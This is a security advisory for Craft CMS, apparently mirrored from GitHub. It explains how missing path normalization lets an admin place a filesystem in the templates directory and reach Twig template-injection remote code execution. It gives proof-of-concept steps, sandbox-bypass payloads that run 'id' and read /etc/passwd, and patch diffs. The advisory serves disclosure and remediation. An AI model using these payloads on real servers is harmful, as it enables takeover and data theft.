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GHSA-f3cw-hg6r-chfv

HighCVSS 7.2 / 10
Published Nov 13, 2024·Last modified Feb 4, 2026
Affected Components(0)

No affected components available

Description

Summary

Missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI.

(Post-authentication, ALLOW_ADMIN_CHANGES=true)

Details

Note: This is a sequel to CVE-2023-40035

In src/helpers/FileHelper.php#L106-L137, the function absolutePath returned $from . $ds . $to without path normalization:

/**
 * Returns an absolute path based on a source location or the current working directory.
 *
 * @param string $to The target path.
 * @param string|null $from The source location. Defaults to the current working directory.
 * @param string $ds the directory separator to be used in the normalized result. Defaults to `DIRECTORY_SEPARATOR`.
 * @return string
 * @since 4.3.5
 */
public static function absolutePath(
    string $to,
    ?string $from = null,
    string $ds = DIRECTORY_SEPARATOR,
): string {
    $to = static::normalizePath($to, $ds);

    // Already absolute?
    if (
        str_starts_with($to, $ds) ||
        preg_match(sprintf('/^[A-Z]:%s/', preg_quote($ds, '/')), $to)
    ) {
        return $to;
    }

    if ($from === null) {
        $from = FileHelper::normalizePath(getcwd(), $ds);
    } else {
        $from = static::absolutePath($from, ds: $ds);
    }

    return $from . $ds . $to;
}

This could leads to multiple security risks, one of them is in src/services/Security.php#L201-L220 where ../templates/poc is not considered a system dir.

Let's see what happens after calling isSystemDir("../templates/poc"):

/**
 * Returns whether the given file path is located within or above any system directories.
 *
 * @param string $path
 * @return bool
 * @since 5.4.2
 */
public function isSystemDir(string $path): bool // $path = "../templates/poc"
{
    $path = FileHelper::absolutePath($path, '/'); // $path = "/var/www/html/web//../templates/poc"

    foreach (Craft::$app->getPath()->getSystemPaths() as $dir) {
        $dir = FileHelper::absolutePath($dir, '/'); // $dir = "/var/www/html/templates"
        if (str_starts_with("$path/", "$dir/") || str_starts_with("$dir/", "$path/")) { // if (false || false)
            return true;
        }
    }

    return false; // We're here!
}

Now that the path ../templates/poc can bypass isSystemDir, it will also bypass the function validatePath in src/fs/Local.php#L124-L136:

/**
 * @param string $attribute
 * @param array|null $params
 * @param InlineValidator $validator
 * @return void
 * @since 4.4.6
 */
public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void
{
    if (Craft::$app->getSecurity()->isSystemDir($this->getRootPath())) {
        $validator->addError($this, $attribute, Craft::t('app', 'Local filesystems cannot be located within or above system directories.'));
    }
}

We can now create a Local filesystem within the system directories, particularly in /var/www/html/templates/poc

Then create a new asset volume with that filesystem, upload a poc.ttml file with twig code and execute using a new route with template path poc/poc.ttml

Although craftcms does sandbox twig ssti, the list in src/web/twig/Extension.php#L180-L268 is still incomplete.

{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}

These payloads still work, see twigphp/Twig/src/Extension/CoreExtension.php#getFilters() and twigphp/Twig/src/Extension/CoreExtension.php#getOperators() for more informations.

PoC

  1. Craft CMS was installed using https://craftcms.com/docs/4.x/installation.html#quick-start
mkdir craftcms && cd craftcms
ddev config --project-type=craftcms --docroot=web --create-docroot
ddev composer create -y --no-scripts "craftcms/craft"
ddev craft install
php craft setup/security-key
ddev start
<img width="1280" alt="start" src="https://github.com/user-attachments/assets/f8bcc22a-6ffd-40a5-81c6-c077fa4ce1d3">
  1. Create a new filesystem with base path ../templates/poc
<img width="1280" alt="filesystem" src="https://github.com/user-attachments/assets/fe78e023-bd51-4fc1-a22e-dcfa5baf266b">

Notice that the poc directory was created

<img width="167" alt="dir" src="https://github.com/user-attachments/assets/ccc45ce8-8555-4aae-ae48-320a630e7d79">
  1. Create a new asset volume using the poc filesystem
<img width="1280" alt="asset" src="https://github.com/user-attachments/assets/b5530766-11b4-4e45-ae58-82f81fc2db00">

Upload a poc.ttml file with RCE template code

{{'<pre>'}}
{{ 8*8 }}
{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}

Note: find was added to twig last month. If you're running this poc on an older version of twig try removing the last 2 lines.

<img width="1280" alt="upload" src="https://github.com/user-attachments/assets/63e65beb-2ede-4141-85d2-e7d21cd4b8ad">

ttml

  1. Create a new route * with template poc/poc.ttml
<img width="1280" alt="route" src="https://github.com/user-attachments/assets/b92d9340-b6a5-40d8-a8e8-ddab5cfc9f21">
  1. This leads to Remote Code Execution on arbitrary route /*
<img width="454" alt="rce" src="https://github.com/user-attachments/assets/19765f6c-1c28-4a0b-a89c-25f6f05ceca6">

Remediation

diff --git a/src/helpers/FileHelper.php b/src/helpers/FileHelper.php
index 0c2da884a7..ac23ce556a 100644
--- a/src/helpers/FileHelper.php
+++ b/src/helpers/FileHelper.php
@@ -133,7 +133,7 @@ class FileHelper extends \yii\helpers\FileHelper
             $from = static::absolutePath($from, ds: $ds);
         }

-        return $from . $ds . $to;
+        return FileHelper::normalizePath($from . $ds . $to);
     }

     /**

fix_norm

See twigphp/Twig/src/Extension/CoreExtension.php for updated filters and operators, a possible fix could look like:

diff --git a/src/web/twig/Extension.php b/src/web/twig/Extension.php
index efff2d2412..756f452f8b 100644
--- a/src/web/twig/Extension.php
+++ b/src/web/twig/Extension.php
@@ -225,6 +225,9 @@ class Extension extends AbstractExtension implements GlobalsInterface
             new TwigFilter('lcfirst', [$this, 'lcfirstFilter']),
             new TwigFilter('literal', [$this, 'literalFilter']),
             new TwigFilter('map', [$this, 'mapFilter'], ['needs_environment' => true]),
+            new TwigFilter('find', [$this, 'find'], ['needs_environment' => true]),
+            new TwigFilter('has some' => ['precedence' => 20, 'class' => HasSomeBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),
+            new TwigFilter('has every' => ['precedence' => 20, 'class' => HasEveryBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),
             new TwigFilter('markdown', [$this, 'markdownFilter'], ['is_safe' => ['html']]),
             new TwigFilter('md', [$this, 'markdownFilter'], ['is_safe' => ['html']]),
             new TwigFilter('merge', [$this, 'mergeFilter']),

fix_ssti

Impact

Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.

Although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)

Risk Scores
Base Score
7.2

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
6.6

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
1.32%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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